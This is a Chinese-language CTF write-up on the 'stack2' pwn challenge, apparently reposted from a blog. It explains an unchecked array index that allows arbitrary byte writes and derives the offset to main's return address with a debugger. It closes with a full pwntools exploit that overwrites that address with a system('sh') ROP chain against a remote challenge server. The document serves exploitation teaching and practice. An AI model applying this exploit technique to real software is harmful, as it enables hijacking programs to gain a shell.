本文通過結合其他師傅的思路以及自己的一些理解完成,希望在記錄自己所學知識的同時能夠幫助有同樣疑惑的人,pwn入門新手一個,如果有說錯的地方請師傅們多多包涵
0x00 前置知識
本題關鍵匯編指令:mov指令和lea指令以及ret指令
mov
mov指令的功能是傳送資料,它可以把一個運算元的值復制到另一個運算元中,例如:
mov eax, [ebp-18h],作用是將ebp-18h作為偏移地址,尋址找到記憶體單元,將該記憶體單元中的資料送至eax,類似于C語言中的eax=*(ebp-18h);
mov [ebp-1ch],eax,作用是將eax中的資料送至ebp-1ch作為偏移地址所指向的記憶體單元 ,類似于C語言中的*(ebp-1ch)=eax
lea
lea指令的功能是計算有效地址,它可以把一個記憶體地址的值存入一個暫存器中,例如:
lea eax, [ebp-18h],作用是將ebp-18h作為一個地址(而不是一個值),存入eax暫存器中,類似于C語言中的eax=ebp-18h;lea [ebp-1ch],eax,作用是將eax暫存器中的值(假設為12345678h)存入ebp-1ch作為偏移地址所指向的記憶體單元,類似于C語言中的*(ebp-1ch)=*eax,(這個用法和本題沒啥關系,只是提一嘴)
ret
這個應該都很熟悉了,ret指令的功能是從子程式回傳,它可以把堆疊頂的值彈出并作為回傳地址,跳轉到呼叫子程式的地方,
0x01 漏洞代碼
在選擇change number后程式未對輸入的數字進行審查,導致可以直接修改超出數字范圍的記憶體資料,這樣我們只要知道記憶體某個地方相對于陣列的偏移,就能修改那個地方的內容

后門函式,經過師傅們的測驗發現這個函式在遠程運行時會提示沒有bash,但是利用system函式和字串sh執行system("sh")同樣能達到我們的目的

0x02 解題思路及步驟
既然可以直接修改任意記憶體的資料,那么直接將main函式的回傳地址修改為呼叫system("sh")的ROP鏈,然后在選單中選擇5.exit退出main函式,就可以將執行流轉到system("sh")了,
2.1 求偏移量
想要修改記憶體資料,首先要知道偏移量
在ida中可以看出來陣列相對于ebp的偏移量是70h,那回傳地址相對于陣列的偏移量就是74h,

那就錯了!!!,并不是所有函式的ebp都挨著回傳地址,有時候會做一些調整,所以我們就需要知道main函式的回傳的地址以及陣列在記憶體中位置,這時候接下來我們就來通過動態分析求這兩個值,
2.1.1確定陣列在記憶體中的位置:
我們知道,這個陣列是存在記憶體當中的,當我們向陣列中存入第一個數字時,數字所在的位置就是陣列首地址的位置(即&arr[0]==arr),現在來讀一下我們輸入的第一個數字存入陣列時的匯編代碼[1]:

mov eax, [ebp-88h]表示將ebp-88h處的記憶體值,也就是我們輸入的值,假設為1h,傳送到eax暫存器中,此時eax=1h
mov ecx, eax表示將eax暫存器中的值(1h)傳送到ecx暫存器中,此時ecx=1h
lea edx, [ebp-70h]表示將ebp-70h作為一個地址傳送到edx暫存器中,此時假設ebp=00100000h,則edx=000FF890h即陣列基地址
mov eax, [ebp-7Ch]表示將ebp-7Ch處的記憶體值,也就是記錄回圈次數的i,第一次回圈i為0,傳送到eax暫存器中,此時eax=0
add eax, edx表示將edx暫存器中的值(000FF890h)加到eax暫存器中的值(0),這一步相當于找到arr[0]的位置,此時eax=000FF890h
mov [eax], cl表示將ecx暫存器中的最低8位(即cl,值為01h)傳送到記憶體地址為eax=000FF890h的單元中
在執行完這段代碼后我們可以知道兩件事:eax存放的值就是陣列的地址;地址的最低八位的值就是我們輸入的值
在執行add eax,edx后eax的值:

執行mov [eax],cl之前0xffffcf88的值:0xf7fc17c0

執行mov [eax],cl之前0xffffcf88的值:0xf7fc1701

由此可以確定,0xffffcf88就是陣列在記憶體中的位置
2.1.2 確定main函式的回傳地址
這個就簡單的多了,當我們執行到ret指令的時候,esp指向的地方就是main函式的回傳地址

在程式最后打斷點,查看esp的值:

esp此時的值是0xffffd00c,也就是main函式的回傳地址
至此,我們就求出了偏移量0xffffd00c-0xffffcf88=0x84
2.2 構造ROP鏈
首先找到system函式和sh的地址,分別是0x08048450和0x08048987


在常規堆疊溢位中,我們的payload構成應該是
offset + system_addr + 0xdeadbeef + sh_addr
但是在這題中我們能直接修改記憶體內容,因此只要把system_addr和sh_addr填到堆疊上的相應位置即可,注意:由于每次我們只能修改1位元組,所以要分成多次將ROP鏈的內容填到堆疊上

0x03 完整exp
菜雞仿照別的師傅寫的
from pwn import *
#io = process("./stack2")
io = remote("61.147.171.105",55215)
context(log_level='debug')
def change (index,number):
io.recvuntil("exit\n")
io.sendline(str(3))
io.recvuntil(b"which number to change:\n")
io.sendline(str(index))
io.recvuntil("new number:\n")
io.sendline(str(number))
io.recvuntil("How many numbers you have:\n")
io.sendline(str(1))
io.recvuntil("Give me your numbers\n")
io.sendline(str(1))
change(0x84,0x50)
change(0x85,0x84)
change(0x86,0x04)
change(0x87,0x08)
change(0x8c,0x87)
change(0x8d,0x89)
change(0x8e,0x04)
change(0x8f,0x08)
io.recvuntil(b"exit\n")
io.sendline(str(5))
io.interactive()
小聲bb:在使用recvuntil接收字串的時候最好確認一下字串有沒有打錯,不然就會exp運行時會卡住,沒錯我就是那個笨比
ebp+var_x的意思是ebp偏移為x的位置,在ida中選中var_x再按下H就可以將其轉化為ebp-xh的形式 ??
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/554040.html
標籤:其他
下一篇:返回列表
